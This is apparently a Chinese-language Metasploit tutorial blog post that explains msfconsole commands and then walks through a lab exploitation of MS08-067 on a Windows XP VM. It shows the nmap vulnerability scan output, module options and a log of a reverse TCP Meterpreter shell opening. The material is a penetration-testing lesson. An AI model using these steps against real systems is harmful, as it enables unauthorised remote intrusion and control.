show exploits:显示Metasploit框架中所有可用的渗透攻击模块 show auxiliary:显示所有辅助模块以及他们的用途 show options:列出当前模块所需的各种参数,如果当前没有选择模块,则显示所有的全局参数 back:返回Metasploit的上一个状态,常用于修改某个参数之后 search:查找某个特定的渗透攻击,辅助或者攻击载荷模块 show payloads:显示与当前模块兼容的可用攻击载荷 show target:模块下列出受到漏洞影响的目标系统的类型 info:可以加上模块的名字显示目标模块的详细信息,参数说明以及可用的系统类型,如果已选择了模块,直接在提示符下输入info即可 set和unset:Metasploit模块中所有参数只有set和unset两个状态,输入show options可以查看哪些参数是必填的,使用set命令对某个参 数进行设置,使用unset命令可以禁用相关参数 steg和unsetg:对全局参数进行设置或清除,使用这组命令可以让你不必每次遇见某个参数都要重新设置 save:可以在任何时候输入save命令以保存当前状态,例如使用steg对参数进行设置后save,这样下次启动msf时还能使用这些设置值
一次完整的msf渗透攻击
攻击机:kali linux 靶机:windows xp sp2 利用安全漏洞:MS08-067
MS08-067漏洞将会影响除Windows Server 2008 Core以外的所有Windows系统,包括:Windows 2000/XP/Server 2003/Vista/Server 2008的各个版本,甚至还包括测试阶段的Windows 7 Pro-Beta。这些操作系统服务器服务中的漏洞可能允许远程执行代码
nmap扫描
msf中执行
1
nmap -sT -A --script=smb-vuln-ms08-067 -P0 192.168.48.134
msf5 > nmap -sT -A --script=smb-vuln-ms08-067 -P0 192.168.48.134 [*] exec: nmap -sT -A --script=smb-vuln-ms08-067 -P0 192.168.48.134
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-26 02:45 EDT Nmap scan report for 192.168.48.134 Host is up (0.00085s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds MAC Address: 00:0C:29:47:58:93 (VMware) Device type: general purpose Running: Microsoft Windows XP|2003 OS CPE: cpe:/o:microsoft:windows_xp::sp2:professional cpe:/o:microsoft:windows_server_2003 OS details: Microsoft Windows XP Professional SP2 or Windows Server 2003 Network Distance: 1 hop Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp
Host script results: | smb-vuln-ms08-067: | VULNERABLE: | Microsoft Windows system vulnerable to remote code execution (MS08-067) | State: VULNERABLE | IDs: CVE:CVE-2008-4250 | The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, | Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary | code via a crafted RPC request that triggers the overflow during path canonicalization. | | Disclosure date: 2008-10-23 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250 |_ https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
TRACEROUTE HOP RTT ADDRESS 1 0.85 ms 192.168.48.134
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.02 seconds
Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 192.168.48.134 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 445 yes The SMB service port (TCP) SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
[*] Started reverse TCP handler on 192.168.48.128:8080 [*] 192.168.48.134:445 - Attempting to trigger the vulnerability... [*] Sending stage (180291 bytes) to 192.168.48.134 [*] Meterpreter session 1 opened (192.168.48.128:8080 -> 192.168.48.134:1055) at 2020-07-26 03:42:03 -0400